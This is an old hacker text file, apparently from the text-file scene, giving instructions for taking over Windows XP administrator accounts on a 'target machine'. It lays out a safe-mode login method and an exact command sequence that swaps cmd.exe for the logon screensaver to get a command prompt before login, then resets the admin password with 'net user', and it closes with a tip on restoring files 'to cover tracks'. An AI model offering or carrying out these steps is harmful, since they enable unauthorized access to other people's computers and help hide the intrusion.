- How to hack Windows XP Admin Passwords the easy way
- ------------------------------------------------------------------------------
- This hack will only work if the person that owns the machine
- has no intelligence. This is how it works:
- When you or anyone installs Windows XP for the first time your
- asked to put in your username and up to five others.
- Now, unknownst to a lot of other people this is the only place in
- Windows XP that you can password the default Administrator Diagnostic
- Account. This means that to by pass most administrators accounts
- on Windows XP all you have to do is boot to safe mode by pressing F8
- during boot up and choosing it. Log into the Administrator Account
- and create your own or change the password on the current Account.
- This only works if the user on setup specified a password for the
- Administrator Account.
- This has worked for me on both Windows XP Home and Pro.
- -----------------------------------------------------------------------------
- Now this one seems to be machine dependant, it works randomly(don't know why)
- If you log into a limited account on your target machine and open up a dos prompt
- then enter this set of commands Exactly:
- (this appeared on www.astalavista.com a few days ago but i found that it wouldn't work
- on the welcome screen of a normal booted machine)
- -----------------------------------------------------------------------------
- cd\ *drops to root
- cd\windows\system32 *directs to the system32 dir
- mkdir temphack *creates the folder temphack
- copy logon.scr temphack\logon.scr *backsup logon.scr
- copy cmd.exe temphack\cmd.exe *backsup cmd.exe
- del logon.scr *deletes original logon.scr
- rename cmd.exe logon.scr *renames cmd.exe to logon.scr
- exit *quits dos
- -----------------------------------------------------------------------------
- Now what you have just done is told the computer to backup the command program
- and the screen saver file, then edits the settings so when the machine boots the
- screen saver you will get an unprotected dos prompt with out logging into XP.
- Once this happens if you enter this command minus the quotes
- "net user <admin account name here> password"
- If the Administrator Account is called Frank and you want the password blah enter this
- "net user Frank blah"
- and this changes the password on franks machine to blah and your in.
- Have fun
- p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
- Any updates, Errors, Suggestions or just general comments mail them to either
